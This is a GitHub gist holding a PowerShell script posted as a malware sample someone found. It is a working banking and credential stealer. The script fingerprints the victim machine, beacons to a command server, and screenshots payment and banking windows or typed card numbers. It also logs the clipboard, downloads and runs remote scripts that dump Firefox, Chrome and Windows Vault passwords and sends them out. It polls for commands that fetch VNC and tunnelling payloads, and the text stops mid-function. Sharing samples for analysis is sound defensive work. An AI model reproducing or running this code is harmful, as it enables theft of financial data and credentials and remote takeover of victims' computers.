Skip to content

Instantly share code, notes, and snippets.

@Fuitad
Created October 28, 2017 16:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Fuitad/06709b32a7cea479cef0d19c231feb84 to your computer and use it in GitHub Desktop.
Save Fuitad/06709b32a7cea479cef0d19c231feb84 to your computer and use it in GitHub Desktop.
#sample found by @JohnLaTwc
#$WebPostTimer = 1200
#$WebGetTimer = 1200
[void] [Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
[void] [Reflection.Assembly]::LoadWithPartialName("System.Drawing")
function New-Mutex($MutexName) {
#[CmdletBinding()][OutputType([PSObject])]
#Param ([Parameter(Mandatory)][ValidateNotNullOrEmpty()][string]$MutexName)
$MutexWasCreated = $false
$Mutex = $Null
Write-Verbose "Waiting to acquire lock [$MutexName]..."
[void][System.Reflection.Assembly]::LoadWithPartialName('System.Threading')
try {
$Mutex = [System.Threading.Mutex]::OpenExisting($MutexName)
} catch {
$Mutex = New-Object System.Threading.Mutex($true, $MutexName, [ref]$MutexWasCreated)
}
try { if (!$MutexWasCreated) { $Mutex.WaitOne() | Out-Null } } catch { }
Write-Verbose "Lock [$MutexName] acquired. Executing..."
Write-Output ([PSCustomObject]@{ Name = $MutexName; Mutex = $Mutex })
} # New-Mutex
function Remove-Mutex {
<#
.SYNOPSIS
Removes a previously created Mutex
.DESCRIPTION
This function attempts to release a lock on a mutex created by an earlier call
to New-Mutex.
.PARAMETER MutexObject
The PSObject object as output by the New-Mutex function.
.INPUTS
None. You cannot pipe objects to this function.
.OUTPUTS
None.
#Requires -Version 2.0
#>
#[CmdletBinding()]
#Param ([Parameter(Mandatory)][ValidateNotNull()][PSObject]$MutexObject)
# $MutexObject | fl * | Out-String | Write-Host
Write-Verbose "Releasing lock [$($MutexObject.Name)]..."
try { [void]$MutexObject.Mutex.ReleaseMutex() } catch { }
} # Remove-Mutex
new-mutex("Global\$env:username$((Get-Process -PID $pid).SessionID)")
Function Get-StringHash([String] $String,$HashName = "MD5")
{
$StringBuilder = New-Object System.Text.StringBuilder
[System.Security.Cryptography.HashAlgorithm]::Create($HashName).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{
[Void]$StringBuilder.Append($_.ToString("x2"))
}
$StringBuilder.ToString()
}
Function IsVirtual
{
$wmibios = Get-WmiObject Win32_BIOS -ErrorAction Stop | Select-Object version,serialnumber
$wmisystem = Get-WmiObject Win32_ComputerSystem -ErrorAction Stop | Select-Object model,manufacturer
$ResultProps = @{
ComputerName = $computer
BIOSVersion = $wmibios.Version
SerialNumber = $wmibios.serialnumber
Manufacturer = $wmisystem.manufacturer
Model = $wmisystem.model
IsVirtual = $false
VirtualType = $null
}
if ($wmibios.SerialNumber -like "*VMware*") {
$ResultProps.IsVirtual = $true
$ResultProps.VirtualType = "Virtual - VMWare"
}
else {
switch -wildcard ($wmibios.Version) {
'VIRTUAL' {
$ResultProps.IsVirtual = $true
$ResultProps.VirtualType = "Virtual - Hyper-V"
}
'A M I' {
$ResultProps.IsVirtual = $true
$ResultProps.VirtualType = "Virtual - Virtual PC"
}
'*Xen*' {
$ResultProps.IsVirtual = $true
$ResultProps.VirtualType = "Virtual - Xen"
}
}
}
if (-not $ResultProps.IsVirtual) {
if ($wmisystem.manufacturer -like "*Microsoft*")
{
$ResultProps.IsVirtual = $true
$ResultProps.VirtualType = "Virtual - Hyper-V"
}
elseif ($wmisystem.manufacturer -like "*VMWare*")
{
$ResultProps.IsVirtual = $true
$ResultProps.VirtualType = "Virtual - VMWare"
}
elseif ($wmisystem.model -like "*Virtual*") {
$ResultProps.IsVirtual = $true
$ResultProps.VirtualType = "Unknown Virtual Machine"
}
}
$results += New-Object PsObject -Property $ResultProps
return $ResultProps.IsVirtual
}
function Escape-JSONString($str){
if ($str -eq $null) {return ""}
$str = $str.ToString().Replace('"','\"').Replace('\','\\').Replace("`n",'\n').Replace("`r",'\r').Replace("`t",'\t')
return $str;
}
function ConvertTo-JSON($maxDepth = 4,$forceArray = $false) {
begin {
$data = @()
}
process{
$data += $_
}
end{
if ($data.length -eq 1 -and $forceArray -eq $false) {
$value = $data[0]
} else {
$value = $data
}
if ($value -eq $null) {
return "null"
}
$dataType = $value.GetType().Name
switch -regex ($dataType) {
'String' {
return "`"{0}`"" -f (Escape-JSONString $value )
}
'(System\.)?DateTime' {return "`"{0:yyyy-MM-dd}T{0:HH:mm:ss}`"" -f $value}
'Int32|Double' {return "$value"}
'Boolean' {return "$value".ToLower()}
'(System\.)?Object\[\]' { # array
if ($maxDepth -le 0){return "`"$value`""}
$jsonResult = ''
foreach($elem in $value){
#if ($elem -eq $null) {continue}
if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
$jsonResult += ($elem | ConvertTo-JSON -maxDepth ($maxDepth -1))
}
return "[" + $jsonResult + "]"
}
'(System\.)?Hashtable' { # hashtable
$jsonResult = ''
foreach($key in $value.Keys){
if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
$jsonResult +=
@"
"{0}": {1}
"@ -f $key , ($value[$key] | ConvertTo-JSON -maxDepth ($maxDepth -1) )
}
return "{" + $jsonResult + "}"
}
default { #object
if ($maxDepth -le 0){return "`"{0}`"" -f (Escape-JSONString $value)}
return "{" +
(($value | Get-Member -MemberType *property | % {
@"
"{0}": {1}
"@ -f $_.Name , ($value.($_.Name) | ConvertTo-JSON -maxDepth ($maxDepth -1) )
}) -join ', ') + "}"
}
}
}
}
function Get-SystemUptime ($computer = "$env:computername") {
$lastboot = [System.Management.ManagementDateTimeconverter]::ToDateTime("$((gwmi Win32_OperatingSystem).LastBootUpTime)")
$uptime = (Get-Date) - $lastboot
#Write-Host "System Uptime for $computer is: " $uptime.days "days" $uptime.hours "hours" $uptime.minutes "minutes" $uptime.seconds "seconds"
return (($uptime.days).ToString()+"d:"+($uptime.hours).ToString()+"h:"+$uptime.minutes.ToString()+"m:"+($uptime.seconds).ToString()+"s")
}
$Screens = [system.windows.forms.screen]::AllScreens
foreach ($Screen in $Screens) {
$DeviceName = $Screen.DeviceName
$Width = $Screen.Bounds.Width
$Height = $Screen.Bounds.Height
$IsPrimary = $Screen.Primary
}
$ScreenshotPath = "$env:temp\39F28DD9-0677-4EAC-91B8-2112B1515341"
if (-not (Test-Path $ScreenshotPath))
{
New-Item $ScreenshotPath -ItemType Directory -Force
}
$resolution = $Width.ToString()+"x"+$Height.ToString()
$username = "$env:username".ToLower()
$url = "https://wsusupdate.com"
$hashid = Get-StringHash($(Get-WMIObject -class Win32_DiskDrive | Where-Object {$_.DeviceID -eq "\\.\PHYSICALDRIVE0"}).SerialNumber + `
$(Get-WmiObject -class Win32_OperatingSystem).SerialNumber )
$cpu_name = $(Get-WmiObject -class "Win32_Processor" -namespace "root/CIMV2")[0].name
if ($cpu_name -eq $null) { $cpu_name = $(Get-WmiObject -class "Win32_Processor" -namespace "root/CIMV2").name }
$vm = IsVirtual
$ram = ([Math]::Round((Get-WmiObject -Class win32_computersystem).TotalPhysicalMemory/1Gb)).toString()
$os = (Get-WmiObject -class Win32_OperatingSystem).Caption
$os_arch = (Get-WmiObject -class Win32_OperatingSystem).OSArchitecture
$uptime = Get-SystemUptime
#$ext_ip = (New-Object net.webclient).downloadstring("http://checkip.dyndns.com") -replace "[^\d\.]"
$ext_ip = ''
$timezone = [TimeZoneInfo]::Local.BaseUtcOffset.Hours
$IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
if ((Get-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server').fDenyTSConnections -eq 1) { $rdp = $False }
else { $rdp = $True }
if($IsAdmin -ne $True){
if( ($(whoami /groups) -like "*S-1-5-32-544*").length -eq 1 ) { $IsAdmin = $True }
}
#$wan_speed = New-Object net.webclient; "{0:N2} Mbit/sec" -f ((100/(Measure-Command {$wc.Downloadfile('http://east.testmy.net/dl-100MB',"c:\speedtest.test")}).TotalSeconds)*8); del c:\speedtest.test
if ((gwmi win32_computersystem).partofdomain -eq $true -and (gwmi win32_computersystem).domain -ne "WORKGROUP") {
$domain = (gwmi win32_computersystem).domain.ToUpper()
}
else {$domain = 'nodomain'}
$log_file = "$env:temp\key.log"
$version = "04a"
$params = @{"resolution" = "$resolution"; "timezone" = "$timezone"; "uptime" = "$uptime"; "computer_name" = $env:computername.ToUpper(); "isadmin" = $isadmin; "username" = "$username"; "domain" = "$domain"; "cpu_name" = "$cpu_name"; "vm" = $vm; "ram" = "$ram"; `
"hashid" = "$hashid"; "url" = "$url"; "log_file" = "$log_file"; "Screenshot_path" = "$ScreenshotPath"; "version" = "$version"; "os" = "$os"; "os_arch" = "$os_arch"; "rdp" = "$rdp"; "ext_ip" = "$ext_ip"}
$m = $params | ConvertTo-json
$m
function Invoke-Start
{
$buffer = [System.Text.Encoding]::UTF8.GetBytes($m)
try {
[System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($params.url+"/start")
#[System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create("https://dweffweew.com/start")
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
$webRequest.ContentType = "application/json"
$webRequest.Timeout = 10000
$webRequest.Method = "POST"
$webRequest.ContentLength = $buffer.Length;
$requestStream = $webRequest.GetRequestStream()
$requestStream.Write($buffer, 0, $buffer.Length)
$requestStream.Flush()
$requestStream.Close()
[System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()
$streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
$result = $streamReader.ReadToEnd()
return $result
}
catch {
return $_.Exception.Message
}
}
While ($True) {
$response = Invoke-Start
if ($response -eq 'null') {
break
}
$response
Start-Sleep -s 1200
continue
}
function Title-Monitor
{
Start-Job -ScriptBlock {
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class UserWindows {
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
}
"@
$hashid = $args[0]
$url = $args[1]
$username = $args[2]
$resolution = $args[3]
$ScreenshotPath = $args[4]
function Get-ScreenShot
{
$OutPath = "$env:temp\39F28DD9-0677-4EAC-91B8-2112B1515341"
Add-Type -AssemblyName System.Windows.Forms
$fileName = '{0}.jpg' -f (Get-Date).ToString('yyyyMMdd_HHmmss')
$path = Join-Path $ScreenshotPath $fileName
$b = New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)
$g = [System.Drawing.Graphics]::FromImage($b)
$g.CopyFromScreen((New-Object System.Drawing.Point(0,0)), (New-Object System.Drawing.Point(0,0)), $b.Size)
$g.Dispose()
$myEncoder = [System.Drawing.Imaging.Encoder]::Quality
$encoderParams = New-Object System.Drawing.Imaging.EncoderParameters(1)
$encoderParams.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter($myEncoder, 20)
$myImageCodecInfo = [System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders()|where {$_.MimeType -eq 'image/jpeg'}
$b.Save($path,$myImageCodecInfo, $($encoderParams))
}
Get-ScreenShot
#filter Luhn($x){$l=$x.Length-1;$l..0|%{$d=$x[$_]-48;if($_%2-eq$l%2){$s+=$d}elseif($d-le4){$s+=$d*2}else{$s+=$d*2-9}};!($s%10)}
function Luhn([int[]]$digits){
[int]$sum=0
[bool]$alt=$false
for($i = $digits.length - 1; $i -ge 0; $i--){
if($alt){
$digits[$i] *= 2
if($digits[$i] -gt 9) { $digits[$i] -= 9 }
}
$sum += $digits[$i]
$alt = !$alt
}
return ($sum % 10) -eq 0
}
$luhn_matches_previous = 0
while ($True) {
$Process = Get-Process | ? {$_.MainWindowHandle -eq ([UserWindows]::GetForegroundWindow())}
if (Test-Path "$env:TEMP\key.log") {
$keystring = ''
(Get-Content $env:temp\key.log) | foreach { $keystring += $_.split(",")[0].replace('"', '') }
$luhn_matches = @()
Select-String -Pattern "[456][0-9]{15}|3[0-9]{14}" -InputObject $keystring -AllMatches | foreach {$_.matches} | Select-String -NotMatch "(\d)\1{5,}" | foreach { if (luhn([int[]][string[]][char[]]$_.value) -eq $true) {$luhn_matches += $True}}
if ($luhn_matches.length -lt $luhn_matches_previous) { $luhn_matches_previous = 0 }
if (($luhn_matches -contains $True) -and ($luhn_matches.length -gt $luhn_matches_previous)) {
1..20 | % {
Get-ScreenShot
Start-Sleep -Seconds 5
}
$luhn_matches_previous = $luhn_matches.length
}
}
if (Test-Path $env:temp\keywords.txt) {
$keywords = ((Get-Content $env:temp\keywords.txt).split(' '))[1].split('|')
foreach ($keyword in $keywords) {if (($Process.MainWindowTitle -clike "*$keyword*" ) -and (Test-Path "$env:TEMP\key.log")) {
1..20 | % {
Get-ScreenShot
Start-Sleep -Seconds 5
}
}
}
}
if (($Process.MainWindowTitle -like '*checkout*') -or ($Process.MainWindowTitle -like '*Pay-Me-Now*') `
-or ($Process.MainWindowTitle -like '*Sign On - Citibank*') -or ($Process.MainWindowTitle -like 'Sign in or Register | eBay')`
-or ($Process.MainWindowTitle -like '*Credit Card*') -or ($Process.MainWindowTitle -like '*Place Your Order*') `
-or ($Process.MainWindowTitle -clike '*Banking*') -or ($Process.MainWindowTitle -like '*Log in to your PayPal account*') `
-or ($Process.MainWindowTitle -like '*Expedia Partner*Central*') -or ($Process.MainWindowTitle -like '*Booking.com Extranet*') `
-or ($Process.MainWindowTitle -like '*Chase Online - Logon*') -or ($Process.MainWindowTitle -like '*One Time Pay*') `
-or ($Process.MainWindowTitle -clike '*LogMeIn*') -or ($Process.MainWindowTitle -clike '*Windows Security*') `
-or ($Process.MainWindowTitle -like '*Choose a way to pay*') -or ($Process.MainWindowTitle -like '*payment information*') `
-or ($Process.MainWindowTitle -clike '*Change Reservation*') -or ($Process.MainWindowTitle -clike '*POS*') `
-or ($Process.MainWindowTitle -like '*Virtual*Terminal*') -or ($Process.MainWindowTitle -like '*PayPal: Wallet*') `
-or ($Process.MainWindowTitle -like '*iatspayment*') -or ($Process.MainWindowTitle -like '*LogMeIn*') `
-or ($Process.MainWindowTitle -clike '*Authorize.Net*') -or ($Process.MainWindowTitle -like '*LogMeIn*') `
-or ($Process.MainWindowTitle -clike '*Discover Card*') -or ($Process.MainWindowTitle -like '*LogMeIn*') `
-or ($Process.MainWindowTitle -like '*ewallet*') -or ($Process.MainWindowTitle -like '*arcot*') `
-or ($Process.MainWindowTitle -clike '*PayTrace*') -or ($Process.MainWindowTitle -clike '*New Charge*') `
-or ($Process.MainWindowTitle -clike '*Verification*') -or ($Process.MainWindowTitle -clike '*PIN*') `
-or ($Process.MainWindowTitle -clike '*Authentication*') -or ($Process.MainWindowTitle -clike '*Password*') `
-or ($Process.MainWindowTitle -clike '*Debit Card*') -or ($Process.MainWindowTitle -clike '*Activation*') `
-or ($Process.MainWindowTitle -clike '*LastPass*') -or ($Process.MainWindowTitle -clike '*SSN*') `
-or ($Process.MainWindowTitle -clike '*Driver*License*') -or ($Process.MainWindowTitle -clike '*Check-in for*') `
-or ($Process.MainWindowTitle -clike '*Umpqua*') -or ($Process.MainWindowTitle -clike '*ePayment*') `
-or ($Process.MainWindowTitle -clike '*Converge -*') -or ($Process.MainWindowTitle -clike '*Swipe*') `
-or ($Process.MainWindowTitle -like '*Payrazr*') -or ($Process.MainWindowTitle -clike '*Hosted -*') `
-and (Test-Path "$env:TEMP\key.log")) {
1..20 | % {
Get-ScreenShot
Start-Sleep -Seconds 5
}
}
Start-Sleep -Seconds 5
}
} -ArgumentList $params.hashid, $params.url, $params.username, $params.resolution, $params.Screenshot_Path
}
function Gclip {
Start-Job -ScriptBlock {
$PollInterval = 3
Add-Type -AssemblyName System.Windows.Forms
# used to check if the contents have changed
$PrevLength = 0
$PrevFirstChar = ""
for(;;){
# stolen/adapted from http://brianreiter.org/2010/09/03/copy-and-paste-with-clipboard-from-powershell/
$tb = New-Object System.Windows.Forms.TextBox
$tb.Multiline = $true
$tb.Paste()
# only output clipboard data if it's changed
if (($tb.Text.Length -ne 0) -and ($tb.Text.Length -ne $PrevLength)){
# if the length isn't 0, the length has changed, and the first character
# has changed, assume the clipboard has changed
# YES I know there might be edge cases :)
if($PrevFirstChar -ne ($tb.Text)[0]){
$TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
#Out-File -FilePath "$env:Temp\Applnsights_VisualStudio.txt" -Append -InputObject "`========== CLIPBOARD ==========`n" -Encoding unicode
Out-File -FilePath "$env:Temp\Applnsights_VisualStudio.txt" -Append -InputObject $tb.Text -Encoding unicode
$PrevFirstChar = ($tb.Text)[0]
$PrevLength = $tb.Text.Length
}
}
Start-Sleep -s $PollInterval
}
}
}
function GetFF {
Start-Job -ScriptBlock {
function Escape-JSONString($str){
if ($str -eq $null) {return ""}
$str = $str.ToString().Replace('"','\"').Replace('\','\\').Replace("`n",'\n').Replace("`r",'\r').Replace("`t",'\t')
return $str;
}
function ConvertTo-JSON($maxDepth = 4,$forceArray = $false) {
begin {
$data = @()
}
process{
$data += $_
}
end{
if ($data.length -eq 1 -and $forceArray -eq $false) {
$value = $data[0]
} else {
$value = $data
}
if ($value -eq $null) {
return "null"
}
$dataType = $value.GetType().Name
switch -regex ($dataType) {
'String' {
return "`"{0}`"" -f (Escape-JSONString $value )
}
'(System\.)?DateTime' {return "`"{0:yyyy-MM-dd}T{0:HH:mm:ss}`"" -f $value}
'Int32|Double' {return "$value"}
'Boolean' {return "$value".ToLower()}
'(System\.)?Object\[\]' { # array
if ($maxDepth -le 0){return "`"$value`""}
$jsonResult = ''
foreach($elem in $value){
#if ($elem -eq $null) {continue}
if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
$jsonResult += ($elem | ConvertTo-JSON -maxDepth ($maxDepth -1))
}
return "[" + $jsonResult + "]"
}
'(System\.)?Hashtable' { # hashtable
$jsonResult = ''
foreach($key in $value.Keys){
if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
$jsonResult +=
@"
"{0}": {1}
"@ -f $key , ($value[$key] | ConvertTo-JSON -maxDepth ($maxDepth -1) )
}
return "{" + $jsonResult + "}"
}
default { #object
if ($maxDepth -le 0){return "`"{0}`"" -f (Escape-JSONString $value)}
return "{" +
(($value | Get-Member -MemberType *property | % {
@"
"{0}": {1}
"@ -f $_.Name , ($value.($_.Name) | ConvertTo-JSON -maxDepth ($maxDepth -1) )
}) -join ', ') + "}"
}
}
}
}
$url = $args[0]
$resolution = $args[1]
$domain = $args[2]
$computer_name = $args[3]
$username = $args[4]
$timezone = $args[5]
$hashid = $args[6]
$version = $args[7]
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
& cmd /c %systemroot%\syswow64\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('https://wsusupdate.com/script?id=random&name=firefox'); Get-FoxDump -OutFile $env:temp\firefox.log; Exit"
& cmd /c %systemroot%\system32\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('https://wsusupdate.com/script?id=random&name=firefox'); Get-FoxDump -OutFile $env:temp\firefox.log; Exit"
If (Test-Path "$env:temp\firefox.log") {
$content = Get-Content $env:temp\firefox.log | Out-String
$content = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($content))
$json = @{"resolution" = $resolution; "domain" = $domain; "computer_name" = $computer_name; "username" = $username; "timezone" = $timezone; "hashid" = $hashid; "version" = $version; "content" = $content; "type" = "ffbrwpwd"}
$log_json = $json | ConvertTo-Json
$buffer = [System.Text.Encoding]::UTF8.GetBytes($log_json)
[System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url+"/pshlog")
$webRequest.ContentType = "application/json"
$webRequest.Timeout = 10000
$webRequest.Method = "POST"
$webRequest.ContentLength = $buffer.Length;
$requestStream = $webRequest.GetRequestStream()
$requestStream.Write($buffer, 0, $buffer.Length)
$requestStream.Flush()
$requestStream.Close()
[System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()
$streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
$result = $streamReader.ReadToEnd()
Remove-Item "$env:temp\firefox.log"
}
} -ArgumentList $params.url, $params.resolution, $params.domain, $params.computer_name, $params.username, $params.timezone, $params.hashid, $params.version
}
function GetChrome {
Start-Job -ScriptBlock {
function Escape-JSONString($str){
if ($str -eq $null) {return ""}
$str = $str.ToString().Replace('"','\"').Replace('\','\\').Replace("`n",'\n').Replace("`r",'\r').Replace("`t",'\t')
return $str;
}
function ConvertTo-JSON($maxDepth = 4,$forceArray = $false) {
begin {
$data = @()
}
process{
$data += $_
}
end{
if ($data.length -eq 1 -and $forceArray -eq $false) {
$value = $data[0]
} else {
$value = $data
}
if ($value -eq $null) {
return "null"
}
$dataType = $value.GetType().Name
switch -regex ($dataType) {
'String' {
return "`"{0}`"" -f (Escape-JSONString $value )
}
'(System\.)?DateTime' {return "`"{0:yyyy-MM-dd}T{0:HH:mm:ss}`"" -f $value}
'Int32|Double' {return "$value"}
'Boolean' {return "$value".ToLower()}
'(System\.)?Object\[\]' { # array
if ($maxDepth -le 0){return "`"$value`""}
$jsonResult = ''
foreach($elem in $value){
#if ($elem -eq $null) {continue}
if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
$jsonResult += ($elem | ConvertTo-JSON -maxDepth ($maxDepth -1))
}
return "[" + $jsonResult + "]"
}
'(System\.)?Hashtable' { # hashtable
$jsonResult = ''
foreach($key in $value.Keys){
if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
$jsonResult +=
@"
"{0}": {1}
"@ -f $key , ($value[$key] | ConvertTo-JSON -maxDepth ($maxDepth -1) )
}
return "{" + $jsonResult + "}"
}
default { #object
if ($maxDepth -le 0){return "`"{0}`"" -f (Escape-JSONString $value)}
return "{" +
(($value | Get-Member -MemberType *property | % {
@"
"{0}": {1}
"@ -f $_.Name , ($value.($_.Name) | ConvertTo-JSON -maxDepth ($maxDepth -1) )
}) -join ', ') + "}"
}
}
}
}
$url = $args[0]
$resolution = $args[1]
$domain = $args[2]
$computer_name = $args[3]
$username = $args[4]
$timezone = $args[5]
$hashid = $args[6]
$version = $args[7]
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
& cmd /c %systemroot%\system32\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('https://wsusupdate.com/script?id=random&name=chrome'); Stop-Process -name chrome -ErrorAction SilentlyContinue; Start-sleep -seconds 3; Get-ChromeDump -OutFile $env:temp\chrome.log; Exit"
Start-Sleep -Seconds 60
If (Test-Path "$env:temp\chrome.log") {
#$content = [IO.File]::ReadAllText("$env:temp\chrome.log")
$content = Get-Content "$env:temp\chrome.log" | Out-String
$content = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($content))
$json = @{"resolution" = $resolution; "domain" = $domain; "computer_name" = $computer_name; "username" = $username; "timezone" = $timezone; "hashid" = $hashid; "version" = $version; "content" = $content; "type" = "chbrwpwd"}
$log_json = $json | ConvertTo-Json
$buffer = [System.Text.Encoding]::UTF8.GetBytes($log_json)
write-host $buffer
$url+'/pshlog'
[System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url+'/pshlog')
$webRequest.ContentType = "application/json"
$webRequest.Timeout = 10000
$webRequest.Method = "POST"
$webRequest.ContentLength = $buffer.Length;
$requestStream = $webRequest.GetRequestStream()
$requestStream.Write($buffer, 0, $buffer.Length)
$requestStream.Flush()
$requestStream.Close()
[System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()
$streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
$result = $streamReader.ReadToEnd()
}
} -ArgumentList $params.url, $params.resolution, $params.domain, $params.computer_name, $params.username, $params.timezone, $params.hashid, $params.version
}
function GetVault {
Start-Job -ScriptBlock {
function Escape-JSONString($str){
if ($str -eq $null) {return ""}
$str = $str.ToString().Replace('"','\"').Replace('\','\\').Replace("`n",'\n').Replace("`r",'\r').Replace("`t",'\t')
return $str;
}
function ConvertTo-JSON($maxDepth = 4,$forceArray = $false) {
begin {
$data = @()
}
process{
$data += $_
}
end{
if ($data.length -eq 1 -and $forceArray -eq $false) {
$value = $data[0]
} else {
$value = $data
}
if ($value -eq $null) {
return "null"
}
$dataType = $value.GetType().Name
switch -regex ($dataType) {
'String' {
return "`"{0}`"" -f (Escape-JSONString $value )
}
'(System\.)?DateTime' {return "`"{0:yyyy-MM-dd}T{0:HH:mm:ss}`"" -f $value}
'Int32|Double' {return "$value"}
'Boolean' {return "$value".ToLower()}
'(System\.)?Object\[\]' { # array
if ($maxDepth -le 0){return "`"$value`""}
$jsonResult = ''
foreach($elem in $value){
#if ($elem -eq $null) {continue}
if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
$jsonResult += ($elem | ConvertTo-JSON -maxDepth ($maxDepth -1))
}
return "[" + $jsonResult + "]"
}
'(System\.)?Hashtable' { # hashtable
$jsonResult = ''
foreach($key in $value.Keys){
if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
$jsonResult +=
@"
"{0}": {1}
"@ -f $key , ($value[$key] | ConvertTo-JSON -maxDepth ($maxDepth -1) )
}
return "{" + $jsonResult + "}"
}
default { #object
if ($maxDepth -le 0){return "`"{0}`"" -f (Escape-JSONString $value)}
return "{" +
(($value | Get-Member -MemberType *property | % {
@"
"{0}": {1}
"@ -f $_.Name , ($value.($_.Name) | ConvertTo-JSON -maxDepth ($maxDepth -1) )
}) -join ', ') + "}"
}
}
}
}
$url = $args[0]
$resolution = $args[1]
$domain = $args[2]
$computer_name = $args[3]
$username = $args[4]
$timezone = $args[5]
$hashid = $args[6]
$version = $args[7]
$vault_url = $url+'/script?id=random&name=vault'
Write-host $vault_url
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
IEX (New-Object Net.WebClient).DownloadString($vault_url); Get-VaultCredential -OutVariable vaultcreds -ErrorAction SilentlyContinue
#Write-host 'ERROR'
#$vaultcredserror
$vaultcreds = $vaultcreds | Out-String
$content = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($vaultcreds))
if ($content.length -ne 0) {
$json = @{"resolution" = $resolution; "domain" = $domain; "computer_name" = $computer_name; "username" = $username; "timezone" = $timezone; "hashid" = $hashid; "version" = $version; "content" = $content; "type" = "vault"}
$json
$log_json = $json | ConvertTo-Json
$buffer = [System.Text.Encoding]::UTF8.GetBytes($log_json)
write-host $buffer
[System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url+'/pshlog')
$webRequest.ContentType = "application/json"
$webRequest.Timeout = 10000
$webRequest.Method = "POST"
$webRequest.ContentLength = $buffer.Length;
$requestStream = $webRequest.GetRequestStream()
$requestStream.Write($buffer, 0, $buffer.Length)
$requestStream.Flush()
$requestStream.Close()
[System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()
$streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
$result = $streamReader.ReadToEnd()
}
} -ArgumentList $params.url, $params.resolution, $params.domain, $params.computer_name, $params.username, $params.timezone, $params.hashid, $params.version
}
function WebGet {
Start-Job -ScriptBlock {
$url = $args[0]
$resolution = $args[1]
$domain = $args[2]
$computer_name = $args[3]
$username = $args[4]
$timezone = $args[5]
$hashid = $args[6]
$version = $args[7]
while ($true) {
$WebClient=New-Object net.webclient
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
$String=$WebClient.DownloadString($url+"/command?domain=$domain&username=$username&hashid=$hashid&computer_name=$computer_name&ver=$version")
if ($String -ne '0') {
foreach ($cmd in ($string -split '["\n\r"|"\r\n"|\n|\r]')) {
if ($cmd.StartsWith("+screenshot",1)) { $cmd | Out-File $env:temp\keywords.txt }
elseif ($cmd.StartsWith("-screenshot",1)) { Remove-Item $env:temp\keywords.txt }
elseif ($cmd.StartsWith("+vnc", 1)) {
if([IntPtr]::Size -eq 8) {
& cmd /c %systemroot%\syswow64\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('$url/script?id=1&name=vnc');"
}
else { & cmd /c %systemroot%\system32\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('$url/script?id=1&name=vnc');" }
}
# +rdp username;password;trigger-port;10.0.0.1
elseif ($cmd.StartsWith("+rdp", 1)) {
$creds = ($cmd.split(' '))[1]
$plink_username = ($creds.split(';'))[0]
$plink_password = ($creds.split(';'))[1]
$plink_trigger_port = ($creds.split(';'))[2]
$plink_ip = ($creds.split(';'))[3]
$plink_username, $plink_password, $plink_trigger_port, $plink_ip
Start-Job -ScriptBlock {
#IF ((Test-Path "$env:temp\plink.exe") -eq $False) { (New-Object System.Net.WebClient).DownloadFile('https://the.earth.li/~sgtatham/putty/latest/x86/plink.exe', "$env:temp\plink.exe");}
IF ((Test-Path "$env:temp\stnlc.exe") -eq $False)
{
(New-Object System.Net.WebClient).DownloadFile('http://sylviabodenheimer.ch/css/stnlc.bin', "$env:temp\stnlc.exe")
(New-Object System.Net.WebClient).DownloadFile('http://sylviabodenheimer.ch/css/CiWinCng32.dll', "$env:temp\CiWinCng32.dll")
}
$plink_username = $args[0]
$plink_password = $args[1]
$plink_trigger_port = $args[2]
$plink_ip = $args[3]
Stop-Process -name stnlc -ErrorAction SilentlyContinue
